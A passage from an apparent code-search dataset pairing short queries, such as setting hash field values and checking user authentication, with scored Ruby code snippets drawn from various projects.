"text": "def add_field_value_to_hash(key, value, hash)\n unless !value || (value.is_a?(String) && value.strip.empty?)\n if value.is_a?(String)\n val = value.strip.gsub(/\\s+/, ' ')\n else\n val = value\n end\n fname = key.to_s\n if hash[key]\n if fname.end_with?('m') || fname.end_with?('mv')\n hash[key] << val if !hash[key].include?(val)\n else\n @logger.warn(\"Solr field #{key} is single-valued (first value: #{hash[key]}), but got an IGNORED additional value: #{val}\")\n end\n else\n if fname.end_with?('m') || fname.end_with?('mv')\n hash[key] = [val] \n else\n hash[key] = val\n end\n end\n end\n end",
"title": ""
},
{
"docid": "af992c1e927af1eaaceb059dca068c10",
"score": "0.59160656",
"text": "def set(value)\n value.nil? ? nil : value.to_hash\n end",
"title": ""
},
{
"docid": "c7d57583b8c6c1898dd5f2f2290967e1",
"score": "0.58879167",
"text": "def set_hash_value(hash, key, value)\n if hash[key]\n hash[key] = value\n return true\n else\n new_key = '\"' + key + '\"'\n if hash[new_key]\n hash[new_key] = value\n return true\n end\n end\n return nil\n end",
"title": ""
},
{
"docid": "3ac2c6652567a012064d1de260ca6870",
"score": "0.58715165",
"text": "def set(value, hash)\n hash[value[:key]] = { flags: value[:flags], exptime: value[:exptime], value: value[:value], cas_unique: value[:cas_unique] }\n value[:reply] != 'false' ? (self.result = \"\\r\\nSTORED\") : (self.result = '')\n end",
"title": ""
},
{
"docid": "3aa7ac5b4a12d75cbaca29f637c5ddcd",
"score": "0.5866725",
"text": "def hsetnx(key, field, value)\n\t\t\t\t\tcall('HSETNX', key, field, value) > 0\n\t\t\t\tend",
"title": ""
},
{
"docid": "b1618edcc97b05a1ed1a2e46a9df1132",
"score": "0.5855562",
"text": "def set_value(key, field, value)\n fail NotImplementedError\n end",
"title": ""
},
{
"docid": "c5d23775c5814cf08fc7801b3237c8c8",
"score": "0.58531517",
"text": "def set_hash_data(input)\n\t\t\t\t@data_hash = input;\n\tend",
"title": ""
},
{
"docid": "0ca969da0cb68b4946786a10a1ce7f14",
"score": "0.5850678",
"text": "def set_hashed_member\n @member = Member.by_email_hash(params[:hash])\n end",
"title": ""
},
{
"docid": "4ae9c87a0bde2592e6ec9fd19454ae08",
"score": "0.5844551",
"text": "def update(hash); end",
"title": ""
},
{
"docid": "b24e550b456ec239b5824ff3ba3a780f",
"score": "0.5839724",
"text": "def hash_info=(value)\n @children['hash-info'][:value] = value\n end",
"title": ""
},
{
"docid": "24d43b77e455a0b1502a3d492c489cb5",
"score": "0.58238953",
"text": "def hset(key, field, value)\n $alfred.with { |conn| conn.hset(key, field, value) }\n end",
"title": ""
},
{
"docid": "7add8850e1476af4d2a271c6a2c9e023",
"score": "0.5806088",
"text": "def set_hash_tag\n @hash_tag = HashTag.find(params[:id])\n end",
"title": ""
},
{
"docid": "40d96bb0704ae310daf30bcb8053fed8",
"score": "0.5781279",
"text": "def []=(k, v)\n raise \"Key cannot be nil for field #{v}\" if !k\n \n # can't raise this error, for some reason\n # TODO: raise \"Item named '#{k}' already exists in '#{@field.name}'\" if @hash[k]\n\n if @hash[k] != v\n @realself.notify_update(@field, @hash[k], v)\n @hash[k] = v\n end\n return v\n end",
"title": ""
},
{
"docid": "e3e84859fb5a13a171edc698195544b0",
"score": "0.5780873",
"text": "def hash_value_exist?(key, field)\n @redis.hexists key, field\n end",
"title": ""
},
{
"docid": "e716de102712bfb9a2a04586e6234d31",
"score": "0.57579213",
"text": "def force(hash); end",
"title": ""
},
{
"docid": "d1bb717d2414fb1c20fa02273f958e7d",
"score": "0.575616",
"text": "def set(key, value, key_hash)\n if match? key, key_hash\n self.value = value\n return false\n elsif nxt = self.next\n return nxt.set(key, value, key_hash)\n else\n bucket = Bucket.new key, value, key_hash\n self.next = bucket\n return true\n end\n end",
"title": ""
},
{
"docid": "b133a0085149c069298d130fa99ed57f",
"score": "0.57289356",
"text": "def setHash(obj)\n @hash = @hashFunc.digest(obj)\n end",
"title": ""
},
{
"docid": "ee7cae2250e8e4aeae44aadc676221c0",
"score": "0.57245666",
"text": "def set_hash(name)\n hash_name = name.to_s.downcase.tr('-', '').to_sym\n\n unless ALLOWED_HASH.include?(hash_name)\n fail NotApplicableError.new(\"hash: '#{hash_name}' is not a valid option, available options: #{ALLOWED_HASH.to_a.join(', ')}\")\n end\n\n @hasher = HASH_CLASSES[hash_name]\n end",
"title": ""
},
{
"docid": "02e26c52f9fcfb1ad274a4c163949517",
"score": "0.57244295",
"text": "def hash_cache_field(value)\n value.hash\n end",
"title": ""
},
{
"docid": "cea6c48e1a6574869ff957461bd47ae3",
"score": "0.57122815",
"text": "def redis=(hash); end",
"title": ""
},
{
"docid": "7d618b2e0aecee7b4591d04dfffd0f8c",
"score": "0.57016885",
"text": "def hash_set(hash, key, value)\n hash[key] = value.freeze\n end",
"title": ""
},
{
"docid": "d76252daaec0af17a09d1c4782152a6d",
"score": "0.5675196",
"text": "def hsetnx(key, field, value)\n\t\t\t\t\tcall('HSETNX', key, field, value)\n\t\t\t\tend",
"title": ""
},
{
"docid": "20492a8b52a0198faca176bb3d78c358",
"score": "0.5659639",
"text": "def hset(key, field, value)\n call(key, [:hset, key, field, value], transform: Redis::Boolify)\n end",
"title": ""
},
{
"docid": "7e682c1024670b58a20076a8cd8f7d0f",
"score": "0.5655111",
"text": "def choose_hash(hash_id, hash_key, hash_value)\n\n case hash_id\n when :checkbox\n @checkbox_fields[hash_key.to_sym] = hash_value\n when :fill\n @fill_fields[hash_key.to_sym] = hash_value\n when :drop\n @drop_fields[hash_key.to_sym] = hash_value\n when :mult\n temp = {:input => hash_value[:input],\n :array => hash_value[:array]\n }\n @mult_fields[hash_key.to_sym] = temp.clone\n when :query\n @query[hash_key.to_sym] = hash_value\n else\n raise 'Unknown form field encountered.'\n end\n end",
"title": ""
},
{
"docid": "629c8885a7b1c05c8a2a269e7fc3aeaa",
"score": "0.5636779",
"text": "def set_por_hash(arg)\n # atualiza o valor se o existe o atributo no dicionario.\n @a = arg[:a] if not arg[:a].nil?\n @b = arg[:b] if not arg[:b].nil?\n @c = arg[:c] if not arg[:c].nil?\n end",
"title": ""
},
{
"docid": "fa90cbb2135186a73385da09035aff9a",
"score": "0.5626166",
"text": "def set_from_hash(hash)\n FIELDS.each do |f|\n if hash.has_key?(f)\n eval \"@#{f.to_s} = hash[:#{f.to_s}]\"\n end\n end\n end",
"title": ""
},
{
"docid": "eb5dcd9ef0dfd00c5026e2b4c514f8b6",
"score": "0.56239474",
"text": "def update_value_of(object,hash)\n if validate_update(object, hash)\n object.send(\"#{name.to_s}=\",\n normalize(hash.fetch(name))\n ) if hash.has_key?(name)\n end\n end",
"title": ""
},
{
"docid": "59021ee40be05f01c456eca3650f6778",
"score": "0.5622236",
"text": "def update(hash)\n key = self.key\n self.delete\n @value = hash\n put(key,hash)\n end",
"title": ""
},
{
"docid": "de27084e50a15dbd04d258a284e14284",
"score": "0.5609385",
"text": "def set(field, value)\n @fields_update[field] = value\n end",
"title": ""
},
{
"docid": "948022ab5a7718b070f1d2df1dbb3338",
"score": "0.5605605",
"text": "def file_hash=(value)\n @file_hash = value\n end",
"title": ""
},
{
"docid": "6ae91ed64245c39aa6bdb652b9619802",
"score": "0.5604467",
"text": "def hset(hash_name, key, value)\n set(\"#{hash_name}_#{key}\", value)\n end",
"title": ""
},
{
"docid": "ded19d5254f413c6a3b588df2ad419ff",
"score": "0.55814093",
"text": "def replace_field(hash, field_name)\n field_name = [field_name.to_sym, field_name.to_s].find { |x| hash.key?(x) }\n hash[field_name] = yield hash[field_name] if field_name\n end",
"title": ""
},
{
"docid": "0dbf4085a814bdb4e9e37bf826fe1057",
"score": "0.55691457",
"text": "def hash_type=(value)\n raise NameError, \"hash_type=(value) is not allowed to be called on #{self}:#{self.class}\"\n end",
"title": ""
},
{
"docid": "68f3cd49952e6c87b0e2a0992bc60a74",
"score": "0.5542796",
"text": "def []=(name, value)\n\t if Hash === value\n\t\tattribute = get_field(name)\n\t\tvalue.each { |k, v| attribute[k] = v }\n\t else\n\t\tset_field(name.to_s, value) \n\t end\n\n\trescue ArgumentError => e\n\t if e.message =~ /^no field \\w+ in /\n\t\traise e, (e.message + \" in #{name}(#{self.class.name})\")\n\t else\n\t\traise e, \"no field #{name} in #{self.class.name}\"\n\t end\n\trescue TypeError => e\n\t raise e, \"#{e.message} for #{self.class.name}.#{name}\"\n\tend",
"title": ""
},
{
"docid": "28de39ca5659e1cf77326e8f89e453c5",
"score": "0.5538146",
"text": "def []=(field, value)\n field = field.to_sym\n\n raise ArgumentError, \"invalid field #{field}\" unless fields.include?(field)\n\n if value == UNSET_FIELD or value.nil?\n @fields.delete(field)\n else\n @fields.store(field, value)\n end\n\n value\n end",
"title": ""
},
{
"docid": "2e362a85bd287f3dfc01aa7aec9bbe57",
"score": "0.5532836",
"text": "def set_hash(key, hash)\n @redis.hmset key, *hash.flatten\n end",
"title": ""
},
{
"docid": "0be3a1d8fa57b2cf4440343d230355a6",
"score": "0.55167043",
"text": "def set_hash(hash)\n if hash.is_a? Hash\n hash.each { |k, v| set(k, v) }\n else\n raise '[GemDb] Error: Argument must be a hash'\n end\n end",
"title": ""
},
{
"docid": "bdd6834fb0bce806725f22077ebcf4b8",
"score": "0.55124074",
"text": "def set_from_hash(hash)\n hash.each do |key, value|\n if @fields.include?(key)\n @fields[key].set(value)\n elsif @objects.include?(key)\n if value.class == Hash\n @objects[key].set_from_hash(value)\n else\n @objects[key].set_from_attrs(value)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "d49b252103490d1f6e36062a541fbc1e",
"score": "0.55055654",
"text": "def safe_access_hash_value(hash, field)\n if(hash == [])\n return nil\n end\n return hash[field] == nil ? hash[field.to_sym] : hash[field]\n end",
"title": ""
},
{
"docid": "638a122dfb81c8e815bd677f2eed6553",
"score": "0.55017704",
"text": "def hash_key=(value)\n @attributes[self.class.hash_key] = value\n end",
"title": ""
},
{
"docid": "2a754bb5ba61feafb1ec8da4cd5dafc3",
"score": "0.5484852",
"text": "def update_file_hash\n self.file_hash_type = \"sha1\"\n new_hash = FileStorage.backend.file_hash(self.locator)\n unless self.file_hash.blank?\n if self.file_hash != new_hash\n raise HashMatchFailure.new(self.file_hash, new_hash)\n end\n end\n self.file_hash = new_hash\n end",
"title": ""
},
{
"docid": "d108f2a65c0ccb4090e3c90c4286495f",
"score": "0.54669464",
"text": "def add_data!(hash, key, data)\n return if data.nil?\n\n hash[key] = data\n nil\n end",
"title": ""
},
{
"docid": "5c68f8cc3a06dc28944e1e8d003158d6",
"score": "0.54620135",
"text": "def update hash, *option\n raise HashError unless hash.is_a?(Hash) \n raise HashEmptyError if hash.empty?\n \n document = db.newInstance()\n hash.each do |key, value|\n document.field key.to_s, value\n end\n db.save(document, hashdelete(\"@class\"))\n rescue => e\n if (option.empty? || option.last)\n raise parse_exception e\n else\n false\n end\n end",
"title": ""
},
{
"docid": "dbc1d26a43d89449ec787094fd32e6a5",
"score": "0.5458605",
"text": "def hashable_field(item)\n return false unless item.is_a?(Hash)\n field = Hashable::Field.new(item)\n field if field.hashable?\n end",
"title": ""
},
{
"docid": "cf75d3720d8cc4c6a60f0923db8e10bb",
"score": "0.5457477",
"text": "def hexists(key, field); end",
"title": ""
},
{
"docid": "cf75d3720d8cc4c6a60f0923db8e10bb",
"score": "0.5457477",
"text": "def hexists(key, field); end",
"title": ""
},
{
"docid": "6fa6aff18677bcf0bf10b1759fa04d67",
"score": "0.54555136",
"text": "def sha1(fieldname, value_in)\n value_in = Digest::SHA1.hexdigest(value_in) if value_in and self.get_key(fieldname, 'sha1')\n value_in\n end",
"title": ""
},
{
"docid": "f40d067f095889749fa42a040ea2f247",
"score": "0.54509056",
"text": "def set_hash()\n @hash = 0\n 64.times{|i|\n if (@color[i] != EMPTY)\n @hash ^= @hash_piece[@color[i]][@piece[i]][i];\n end\n }\n \n @hash ^= @hash_side if (@side == DARK)\n @hash ^= @hash_ep[@ep] if (@ep != -1)\n end",
"title": ""
},
{
"docid": "68881b2473d81c17b0d6c904cdb93524",
"score": "0.54451245",
"text": "def quick_xor_hash=(value)\n @quick_xor_hash = value\n end",
"title": ""
},
{
"docid": "fb6bcebffbd7625bb566f67e0195261e",
"score": "0.54407936",
"text": "def populate_from_hash!(hash)\n unless hash.nil? || hash.empty?\n hash.each do |key, value|\n set_attr_method = \"#{key}=\"\n unless value.nil?\n if respond_to?(set_attr_method)\n self.__send__(set_attr_method, value) \n else\n Facebooker::Logging.log_info(\"**Warning**, Attempt to set non-attribute: #{key}\",hash)\n end\n end\n end\n @populated = true\n end \n end",
"title": ""
},
{
"docid": "f8b798e80dc684888259d99ba5cd50a6",
"score": "0.54332477",
"text": "def set_value!(hash, value = nil, &fn)\n lead_in = @paths[0..-2]\n target_key = @paths[-1]\n\n new_hash = hash\n lead_in.each { |s| new_hash = new_hash[s] }\n\n new_value = block_given? ?\n yield(new_hash[target_key]) :\n value\n\n new_hash[target_key] = new_value\n\n hash\n end",
"title": ""
},
{
"docid": "4ca261bcf75e300b470018252c40692a",
"score": "0.5433064",
"text": "def []=(field, value) #:nodoc:\n @values_hash[field] = value\n end",
"title": ""
},
{
"docid": "8fce8db48776ab3f3e9adce7e70a89b8",
"score": "0.5422952",
"text": "def update_hash!(password)\n self.password = password\n hash_password\n save\n end",
"title": ""
},
{
"docid": "e03690c60ee5b25226621f2f9ebca6cf",
"score": "0.5420108",
"text": "def translatable_external_set_hash(field, value)\n translatable_internal_set_hash(field, value)\n translatable_set_canonical(field)\n end",
"title": ""
},
{
"docid": "cbf6a97988e2390ccd60ab45bda0b64a",
"score": "0.54182047",
"text": "def try_put!(value); end",
"title": ""
},
{
"docid": "cbf6a97988e2390ccd60ab45bda0b64a",
"score": "0.54182047",
"text": "def try_put!(value); end",
"title": ""
},
{
"docid": "fab052693afb58aee12c7db8980b0848",
"score": "0.54131204",
"text": "def set( hash )\n for name, value in hash\n self[ name ] = value\n end\n self\n end",
"title": ""
},
{
"docid": "775c83629cab20789e9828a942c6ecf1",
"score": "0.5411778",
"text": "def set_field_value(code_name, value); field(code_name).try(:set_value_for, self, value) end",
"title": ""
},
{
"docid": "1b3151fb54a68c202e4a963f727bddf5",
"score": "0.5410212",
"text": "def update_data(field, value)\n data[field] = value\n end",
"title": ""
},
{
"docid": "fa413200dc6a96ab3a6d9a64882a4cab",
"score": "0.53769714",
"text": "def set(hash)\n\t\t\t@settings.update(hash)\n\t\tend",
"title": ""
},
{
"docid": "c33d7ba37237416ba55243b43a533a4a",
"score": "0.53721416",
"text": "def digest=( new_digest )\n @digest = new_digest.to_sym\n rehash\n @digest\n end",
"title": ""
},
{
"docid": "54250be2eb5a09173772bb1d82f1274a",
"score": "0.53694224",
"text": "def set_state(hash)\n @store.transaction { @store[:data] = hash }\n end",
"title": ""
},
{
"docid": "1d3fbb17eee1d1fc81f4814022be0e25",
"score": "0.5364996",
"text": "def set(field, value)\n if @fields.keys.include?(field)\n @fields[field][:value] = value\n elsif @ofields.keys.include?(field)\n @ofields[field][:value] = value\n else\n raise Cipfact::SpecDslError, \"Field '#{field}' is not defined inside the spec\"\n end\n end",
"title": ""
},
{
"docid": "e75203a0d5aa4cb0eb2295bb6175a078",
"score": "0.53641224",
"text": "def add_to_hash_ne(key, field, value, mapping_service = false)\n @driver.set_value_ne key, field, value\n end",
"title": ""
},
{
"docid": "7b430b4885b6dbebac4c244993d7ee42",
"score": "0.53548205",
"text": "def hsetnx(key, field, value)\n call(key, [:hsetnx, key, field, value], transform: Redis::Boolify)\n end",
"title": ""
},
{
"docid": "ec935983e982b9ea056d51f2c1e30a53",
"score": "0.5345176",
"text": "def secret_hash(value)\n @hash_key = value\n end",
"title": ""
},
{
"docid": "5c6b2e494423824e83c79777cf1cbaa0",
"score": "0.5343958",
"text": "def set(hash)\n new_values = self.class.set(id, hash)\n if new_values.first\n @attributes = new_values.first\n else\n raise 'No objects were updated.'\n end\n end",
"title": ""
},
{
"docid": "3ee839947033d47cf8b7e9fe5c82c316",
"score": "0.5340604",
"text": "def set(hash)\n\t\t\t\t@settings.update(hash)\n\t\t\tend",
"title": ""
},
{
"docid": "553adb68c66b5fd53bb111803a1522e7",
"score": "0.53395176",
"text": "def hash\n if @hash_value.nil?\n @hash_value = (name.hash * 53) ^ version.hash\n end\n @hash_value\n end",
"title": ""
},
{
"docid": "20eef49caaebe4019fc2e6e7526c60e4",
"score": "0.5326349",
"text": "def set_field(field)\n\t\tend",
"title": ""
},
{
"docid": "20eef49caaebe4019fc2e6e7526c60e4",
"score": "0.5326349",
"text": "def set_field(field)\n\t\tend",
"title": ""
},
{
"docid": "0f728ec523f7f5b813cb212751ef0e6d",
"score": "0.5326074",
"text": "def binary_sig_hash=(blob)\n # This is only a setter because of the initial choice to do things\n # eagerly. Can become an attr_accessor when we move to lazy eval.\n @binary_sig_hash = blob\n @sig_hash = hex(blob)\n end",
"title": ""
},
{
"docid": "5861cbe9681bad78b381979bad30988c",
"score": "0.5317531",
"text": "def update_field(current_value, new_partial_value)\n raise InvalidFieldMatchError, \"#{path_name} must be a Hash\" unless new_partial_value.is_a?(Hash)\n # b_value must be a Hob, and it can be updated with a hash\n current_value.update(new_partial_value)\n current_value\n end",
"title": ""
},
{
"docid": "c50ceceb9e88144d7574bb04ec218dbb",
"score": "0.5315043",
"text": "def sha1_hash=(value)\n @sha1_hash = value\n end",
"title": ""
},
{
"docid": "a56377d2f9f724a6e9ef9c7aa5531330",
"score": "0.5314822",
"text": "def nonmutating_hash_method?; end",
"title": ""
},
{
"docid": "a56377d2f9f724a6e9ef9c7aa5531330",
"score": "0.5314822",
"text": "def nonmutating_hash_method?; end",
"title": ""
},
{
"docid": "54f90cb04dc6fb432032bb8030a2185e",
"score": "0.53118926",
"text": "def put_hash(name, hash)\n dynamo_put_item(name, hash.to_json)\n end",
"title": ""
},
{
"docid": "567863ffad813ba2998bf07e4abbdd37",
"score": "0.5311402",
"text": "def populate_from_hash!(hash)\n unless hash.empty?\n hash.each do |key, value|\n set_attr_method = \"#{key}=\"\n if respond_to?(set_attr_method)\n self.__send__(set_attr_method, value)\n else\n # FIXME Ajouter une propriété pour dire qu'une clé du hash est gérée par une méthode\n # FIXME Logging\n # puts(\"**Warning**, Attempt to set non-attribute: #{key}\",hash)\n end\n end\n @populated = true\n end\n end",
"title": ""
},
{
"docid": "e2930cb7aa2d48f19fcc44501bfe5fe0",
"score": "0.53113544",
"text": "def []=(key, value)\n super(Misc.field_position(fields, key), value)\n end",
"title": ""
},
{
"docid": "e728f6d690d9b03e28ff1f941a661e9c",
"score": "0.53106433",
"text": "def field_value=(value)\n super find_or_create_field_value(value)\n end",
"title": ""
},
{
"docid": "b32403c63ee08ecd4f00b2562c6be665",
"score": "0.5299578",
"text": "def attempt_set(event, field_reference, value)\n return false if event.include?(field_reference)\n\n event.set(field_reference, value)\n rescue => e\n logger.trace(\"failed to set #{field_reference} to `#{value}`\", :exception => e.message)\n false\n end",
"title": ""
}
] |
a466b985faa6c3df06018c29c96b55fd
|
string How is this user authenticated?
|
[
{
"docid": "a5a61902d1fb72e4161e7f4d6dfbf8e6",
"score": "0.0",
"text": "def authentication_method\n @attributes[:authentication_method]\n end",
"title": ""
}
] |
[
{
"docid": "a3c6ac75cbda1307ba89015b6724f685",
"score": "0.73474085",
"text": "def get_user_logged_in\n\t\tif current_user != nil\n\t\t\treturn 'Currently signed in as: ' + current_user.forename + ' ' + current_user.surname\n\t\telse\n\t\t\treturn 'You are not logged in!'\n\t\tend\n\tend",
"title": ""
},
{
"docid": "abb4c6592f8d0630615d1a44cc85df5b",
"score": "0.69537854",
"text": "def human_auth_method\n self[:auth_method].to_human\n end",
"title": ""
},
{
"docid": "95cbf717d7703f75734f9e969b6487b2",
"score": "0.6757295",
"text": "def user_info\n auth_hash['user_info']\n end",
"title": ""
},
{
"docid": "b6bdf62f255152f6efd5d24f8dcfb21e",
"score": "0.6699679",
"text": "def auth_user_id\n auth[:user_id]\n end",
"title": ""
},
{
"docid": "faa8d47d086ad2371e68f5108d73a214",
"score": "0.6664763",
"text": "def authenticated?\n true\n end",
"title": ""
},
{
"docid": "3d092cd586ca587bc28b846fa362fbce",
"score": "0.66199464",
"text": "def is_authenticated?\n end",
"title": ""
},
{
"docid": "36d083124391ac9ee100707d3813d85e",
"score": "0.66167915",
"text": "def user_is_authenticated\r\n !!current_user\r\n end",
"title": ""
},
{
"docid": "b39e185dedfd7a9e2ea58ca53f8b196c",
"score": "0.6615504",
"text": "def current_user\n # We just do a 'basename' on the principal to give back a sane value\n # here.\n user_name = Http::UrlUtil.split_path(current_principal)[1]\n\n user_name\n end",
"title": ""
},
{
"docid": "c5b38f29ef9f156b82201a8ba9a4f714",
"score": "0.65642667",
"text": "def user\n return Etc.getlogin\n end",
"title": ""
},
{
"docid": "4aa1a326bd0d4017f9b38660ee7154ac",
"score": "0.6557544",
"text": "def current_user\n\t\tauthenticated(User)\n\tend",
"title": ""
},
{
"docid": "c88bedc9115eb9707b570c8cceed4d5f",
"score": "0.6521155",
"text": "def current_user\n session[:who_is_this]\n end",
"title": ""
},
{
"docid": "b98100d419fd787009e354850b26f9a0",
"score": "0.64670324",
"text": "def name\n @name || _('An unauthenticated user')\n end",
"title": ""
},
{
"docid": "f567be5d1d6477c1126def85e20a490a",
"score": "0.6452376",
"text": "def user_authenticated?\n basic_authenticated? || token_authenticated?\n end",
"title": ""
},
{
"docid": "83f22cd27bb0a149ee4962ba0126372c",
"score": "0.6416007",
"text": "def show_current_user\n return \"\" unless logged_in?\n \"User: #{current_user.display_name} - (#{current_user.role.display_name})\"\n end",
"title": ""
},
{
"docid": "b520c7309db395b758eeadc3c2c2e42b",
"score": "0.6400195",
"text": "def to_s\n login\n end",
"title": ""
},
{
"docid": "dd6b37f1203913c086d697583a59e0b7",
"score": "0.63794595",
"text": "def current_user\n session[:name]\n end",
"title": ""
},
{
"docid": "0a193c1e22d0949fcb2b428f30a7b071",
"score": "0.6373452",
"text": "def authenticated?\n !anonymous?\n end",
"title": ""
},
{
"docid": "7b002e93a7f01794403bea3a62ffa5a5",
"score": "0.6372003",
"text": "def user\n authentication.user\n end",
"title": ""
},
{
"docid": "43ec4f71ac0da8a608872c5608695a86",
"score": "0.6369524",
"text": "def whoami\n if logged_in?\n render :xml => current_user.to_xml(:base_url => request.host_with_port)\n else\n render :nothing => true, :status => 401\n end \n end",
"title": ""
},
{
"docid": "42a6147f9e6290c2ae59d073463b6b00",
"score": "0.6363282",
"text": "def authenticate_user\n current_user\n end",
"title": ""
},
{
"docid": "047839e2a595b9515fabdfbf1cacc995",
"score": "0.63573873",
"text": "def current_user\n authentication.account\n end",
"title": ""
},
{
"docid": "18fdbead3a2f6d32680e6a867ccb5e78",
"score": "0.63327396",
"text": "def authentication_type; end",
"title": ""
},
{
"docid": "988f72cdf9b08a90d2bb3ded2aae2b8d",
"score": "0.63249326",
"text": "def current_user_name\n logged_in? ? (user_name(current_user_id) || current_user_id) : nil\n end",
"title": ""
},
{
"docid": "7feb731b683c516ca30b1a2020ce156f",
"score": "0.6318982",
"text": "def auth_user_id\n session[:current_user_id] unless session[:current_user_id].nil?\n end",
"title": ""
},
{
"docid": "5c808c955d1b55bf2e239a1987563825",
"score": "0.63175046",
"text": "def user_name\n self.user.login\n end",
"title": ""
},
{
"docid": "5c808c955d1b55bf2e239a1987563825",
"score": "0.63175046",
"text": "def user_name\n self.user.login\n end",
"title": ""
},
{
"docid": "c45ce686f209c30f1ecfebec2d8dd83d",
"score": "0.6302389",
"text": "def logged_in?\n current_<%= singular_name %> != :false\n end",
"title": ""
},
{
"docid": "26dda9287c1e7a0e01b233c21049c001",
"score": "0.6296476",
"text": "def current_user\n session[:username]\n end",
"title": ""
},
{
"docid": "3fb9824e4e76fa29db0708fbf05fa61b",
"score": "0.62959075",
"text": "def current_user\n session[:name]\n end",
"title": ""
},
{
"docid": "3fb9824e4e76fa29db0708fbf05fa61b",
"score": "0.62959075",
"text": "def current_user\n session[:name]\n end",
"title": ""
},
{
"docid": "0fe73ac290f55643249bf8337b730261",
"score": "0.6294659",
"text": "def authenticated?\n @authenticated\n end",
"title": ""
},
{
"docid": "0fe73ac290f55643249bf8337b730261",
"score": "0.6294659",
"text": "def authenticated?\n @authenticated\n end",
"title": ""
},
{
"docid": "ae68c0daf77b1b299cd1e25ab80f27e5",
"score": "0.6282419",
"text": "def authenticated?\n !!session[:user]\n end",
"title": ""
},
{
"docid": "ce5197c76959a582c9920b13575e78b8",
"score": "0.6281283",
"text": "def logged_in_as\n user = User.find session[:user_id]\n \"Logged in as #{user.email}\"\n end",
"title": ""
},
{
"docid": "217deb66e12ba2f0b5377141e40b4922",
"score": "0.6279325",
"text": "def authenticate()\n\tuser_env = @env[\"Authorization\"] || @env[\"HTTP_AUTHORIZATION\"]\n if user_env\n user = Base64.decode64(user_env[6,user_env.length-6])[/\\w+/]\n\t\treturn user\n else\n \treturn nil\n\tend\nend",
"title": ""
},
{
"docid": "6a87e450fcd53a91e0f0f0df089eec7e",
"score": "0.627897",
"text": "def method_auth_name\r\n method_info[:method_auth_name]\r\n end",
"title": ""
},
{
"docid": "1bffc3da664172577ae864ebb7541d17",
"score": "0.6272721",
"text": "def to_s\n \"#{user}:#{digest}\"\n end",
"title": ""
},
{
"docid": "47009f85104b9743cde138ab944876c8",
"score": "0.6272643",
"text": "def auth?\n true\n end",
"title": ""
},
{
"docid": "1d0c50a547ba41355d998b96da2c2a5a",
"score": "0.62695205",
"text": "def active_for_authentication?; end",
"title": ""
},
{
"docid": "1d0c50a547ba41355d998b96da2c2a5a",
"score": "0.62695205",
"text": "def active_for_authentication?; end",
"title": ""
},
{
"docid": "16ec8d1178b0d01bf9a48ce680cf9e3b",
"score": "0.62672836",
"text": "def current_user\n @authenticated_user\n end",
"title": ""
},
{
"docid": "16ec8d1178b0d01bf9a48ce680cf9e3b",
"score": "0.62672836",
"text": "def current_user\n @authenticated_user\n end",
"title": ""
},
{
"docid": "87c4aebddfa4c384b0038e8b6cacc101",
"score": "0.62588394",
"text": "def authenticated?\n authentication.authenticated?\n end",
"title": ""
},
{
"docid": "6e120846a61bea7e0f48f83094fa4320",
"score": "0.62492996",
"text": "def logged_in?\n return session['current_user']\n end",
"title": ""
},
{
"docid": "28226e4a6e3dd5dca0e250edd72dcee8",
"score": "0.62441206",
"text": "def logged_in?\n current_authuser\n end",
"title": ""
},
{
"docid": "6f1aacaee899d51979cfaf2300e61844",
"score": "0.62434953",
"text": "def current_user_screen_name\n session[:user_info][\"nickname\"]\n end",
"title": ""
},
{
"docid": "2366ec28dc4b4be6344357a63b95c219",
"score": "0.623965",
"text": "def authenticated?\n false\n end",
"title": ""
},
{
"docid": "80bd68d2d02201f6d8d7b531ccdbf5ab",
"score": "0.62393767",
"text": "def string_username\n CaseInsensitiveString.str(current_user.getUsername())\n end",
"title": ""
},
{
"docid": "735b575bbb260fa60079f759fada59af",
"score": "0.62216353",
"text": "def authenticated?\n warden.user ? true : false\n end",
"title": ""
},
{
"docid": "7590d3748c3a23ba328c2a39b91654a1",
"score": "0.62075484",
"text": "def name_str\n self.anon ? \"Anonymous\" : self.user.name\n end",
"title": ""
},
{
"docid": "d98a5e9186f8618c2fa2d643bc811672",
"score": "0.62031305",
"text": "def get_auth()\n\t\t\tfind_attributes(\"auth\").first\n\t\tend",
"title": ""
},
{
"docid": "00b9cd2b0283b06c2a5d72b5b019d723",
"score": "0.62002957",
"text": "def user_name\n self.user ? self.user.name : 'Anonymous'\n end",
"title": ""
},
{
"docid": "01ee09f88005756b54f8c6d36985aaa7",
"score": "0.6199796",
"text": "def to_s\n username || sanitized_email || 'Anonymous'\n end",
"title": ""
},
{
"docid": "91151cf4742a893dee2440933c0a26f4",
"score": "0.6196501",
"text": "def current_user\n authenticate_token\n end",
"title": ""
},
{
"docid": "563697d93d5c0a7a101660f7ba16ecbc",
"score": "0.6195617",
"text": "def whoami\n validate_arguments!\n\n display Turbot::Auth.user\n end",
"title": ""
},
{
"docid": "161057bff01a6cf5098f68c5070eed7a",
"score": "0.6190193",
"text": "def authenticated?\n @auth_token =~ /^.*$/\n end",
"title": ""
},
{
"docid": "eef7ee00f1677e9a5d55d5d775222864",
"score": "0.6183315",
"text": "def auth_level\n GlobalConstant::Cookie.single_auth_prefix\n end",
"title": ""
},
{
"docid": "ecccbd540697aa92de23582a8fe29abd",
"score": "0.6168606",
"text": "def authenticated?\n\t\treturn @authenticated ? true : false\n\tend",
"title": ""
},
{
"docid": "9a16602ea23a449ee06d9626ada84169",
"score": "0.6160047",
"text": "def current_user\n session[:name] #all i need here (looked at some other solutions to get this)\n end",
"title": ""
},
{
"docid": "606f1bdb91edfe7a7729ce96ebae363d",
"score": "0.61530906",
"text": "def auth\n cfg_get(:auth)\n end",
"title": ""
},
{
"docid": "2dea944f3d783921b58253c8b17d1958",
"score": "0.61529034",
"text": "def user_authenticated?\n !session[:user_id].nil?\n end",
"title": ""
},
{
"docid": "a9671b0ea4dfc86b1de35f43c65b42ab",
"score": "0.61460954",
"text": "def logged_in?\n \t#devuelve un booleano para saber si hay un usuario loggeado o no. \n \t#para eso sirven los dos signos de exclamacion !!\n \t!!current_user\n end",
"title": ""
},
{
"docid": "12d7caa6a0f1ca6505597b4052333d69",
"score": "0.6143832",
"text": "def authenticated_user?\n warden.authenticated?\n end",
"title": ""
},
{
"docid": "5232a462bb090267bb9164f7edb06ec6",
"score": "0.61360866",
"text": "def current_user\n auth_token = request.headers['HTTP_AUTH_TOKEN']\n puts auth_token\n @current_user ||= User.find_by(auth_token: auth_token)\n #puts @current_user.name + \" is logged in\"\n end",
"title": ""
},
{
"docid": "f1b49729b162516fb5919f0632525f4d",
"score": "0.6130839",
